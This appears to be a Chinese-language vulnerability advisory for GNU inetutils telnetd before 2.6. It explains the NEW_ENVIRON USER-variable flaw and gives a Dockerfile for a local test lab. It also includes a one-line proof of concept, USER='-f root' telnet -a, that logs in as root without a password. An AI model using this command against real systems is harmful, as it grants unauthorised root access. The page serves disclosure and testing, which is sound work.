| 标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
| 详情 | |||||||||||||
|
[SAFE-ID: JIWO-2026-3606] 作者: 闲云野鸡 发表于: [2026-01-25]
本文共 [0] 位读者顶过
漏洞概述
漏洞影响GNU inetutils-telnetd 版本 2.6 之前 检测命令 dpkg -S /usr/sbin/telnetd && telnetd --version
细节原理: telnetd 守护进程将 USER 环境变量从传输中直接传递NEW_ENVIRON到 /bin/login。当值为“-f root”时,登录时会将其解读为命令行标志,表示已进行预认证,从而完全绕过密码验证。 漏洞复现环境准备docker环境,使用dockerfile 创建dockerfile FROM ubuntu:24.04 # 避免交互式安装提示 ENV DEBIAN_FRONTEND=noninteractive # 更新软件源 + 安装必要的软件包 + 清理缓存 RUN apt-get update && \
apt-get install -y \
openbsd-inetd \
inetutils-telnetd \
telnet \
passwd && \
apt-get clean && \ rm -rf /var/lib/apt/lists/* # 启用 telnet 服务(把 #<off># 开头的行取消注释) RUN sed -i 's/^#<off># telnet/telnet/' /etc/inetd.conf # 设置 root 密码(生产环境强烈不建议这样做,仅用于测试/学习) RUN echo "root:root123" | chpasswd # 暴露 telnet 默认端口 EXPOSE 23 # 启动 inetd(-d 表示 debug 模式,会在前台输出日志,便于调试) CMD ["/usr/sbin/inetd", "-d"]
快速搭建 # 构建镜像 docker build -t my-telnet:test . # 运行(映射 23 端口,建议只本地测试) docker run -d -p 127.0.0.1:2323:23 --name test-telnet my-telnet:test # 连接测试(在本机) telnet 127.0.0.1 2323 # 登录:root / root123
漏洞验证poc USER='-f root' telnet -a ip port 验证 USER='-f root' telnet -a 127.0.0.1 2323
漏洞验证脚本 防御建议
|
|||||||||||||